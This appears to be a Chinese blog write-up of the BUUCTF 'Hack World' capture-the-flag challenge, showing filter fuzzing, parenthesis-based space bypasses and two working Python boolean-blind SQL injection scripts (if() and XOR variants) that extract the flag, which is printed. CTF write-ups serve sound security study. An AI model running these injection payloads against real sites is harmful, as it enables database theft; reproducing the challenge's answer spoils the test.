当前位置:网站首页>[CISCN2019 华北赛区 Day2 Web1]Hack World --BUUCTF
[CISCN2019 华北赛区 Day2 Web1]Hack World --BUUCTF
2022-06-13 00:18:00 【金 帛】
目录
分析

表名跟字段名提示都给了,burpsuite抓包查询点,上fuzz跑,看看过滤了那些关键字

长度为482的包都被过滤掉了,过滤得挺少,但是呢,输入两个关键字的时候却检测到SQL注入,所以这题还是组合过滤,无论怎样都不能出现单引号和#的组合,单引号和;的组合,而且(select)没被过滤掉,这就过滤掉了许多方法以及空格,空格可以用括号绕过,绕过思路具体可参考
法一
测试的时候发现能用if
if(1,1,2)
用布尔盲注,先试一下拆解数据库名
if(ascii(substr((select(database())),1,1))>32,1,2)
回显id为1的情况,说明能用,直接猜字段
if(ascii(substr((select(flag)from(flag)),1,1))>32,1,2)
说明能用,再用二分法写个python脚本
#buuctf web Hack World
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
跑完后得到flag
flag{dda27733-1184-415d-8dba-5e9597491181}法二
看了别人的wp,还能用一种方法,异或运算,可参考
先测试一下,查询0的时候为

查询1的时候为

可以构造payload
0^(ascii(substr(database(),1,1))>0)回显

所以写个脚本
#buuctf web Hack World
from turtle import right
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
data = {"id":payload}
res = requests.post(url=url,data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break边栏推荐
猜你喜欢

【Matlab】矩阵

Can branches sign labor contracts with employees
![[matlab] matrix](/img/15/da3b530fca50080392c89e91998526.png)
[matlab] matrix

Start of u-boot_ Armboot analysis (I)

Stm32f4 development of DMA transmission to GPIO port

Transaction creation of btcd transaction process (I)

The PMP examination time in March 2022 is set -- "March 27"

Matlab【路径规划】—— 无人机药品配送路线最优化
![[matlab] 3D curve and 3D surface](/img/50/44fec1cae6e2bbab1d9e000578f281.png)
[matlab] 3D curve and 3D surface
![[vscode]todo tree a to-do plug-in](/img/52/c977bc9cd021ca6fd12bcc22ae9f78.jpg)
[vscode]todo tree a to-do plug-in
随机推荐
Handling method of wrong heading of VAT special invoice
Basics of network security (1)
Delphi Chinese digit to Arabic digit
March 11, 2022 diary: Mr. Wang's spring, strange template mode
【HCIE论述】组播IGMP-A
【HCIE论述】STP-A
[colorful] Net dto mapping
Converting Chinese numbers to Arabic numbers in Delphi
After so long use, CSDN has finally opened a blog
[LeetCode]13. Roman numerals to integers thirty
New blog address
Can branches sign labor contracts with employees
[LeetCode]3. The longest substring without duplicate characters forty
Five mock technologies of go
PLC也能制作小游戏----Codesys编写猜数字小游戏
Why does the PMP certificate need to be renewed and the renewal process?
A detailed explanation of synchronized
[matlab] two dimensional curve
【Matlab】多项式计算
TypeError: wave. ensureState is not a function
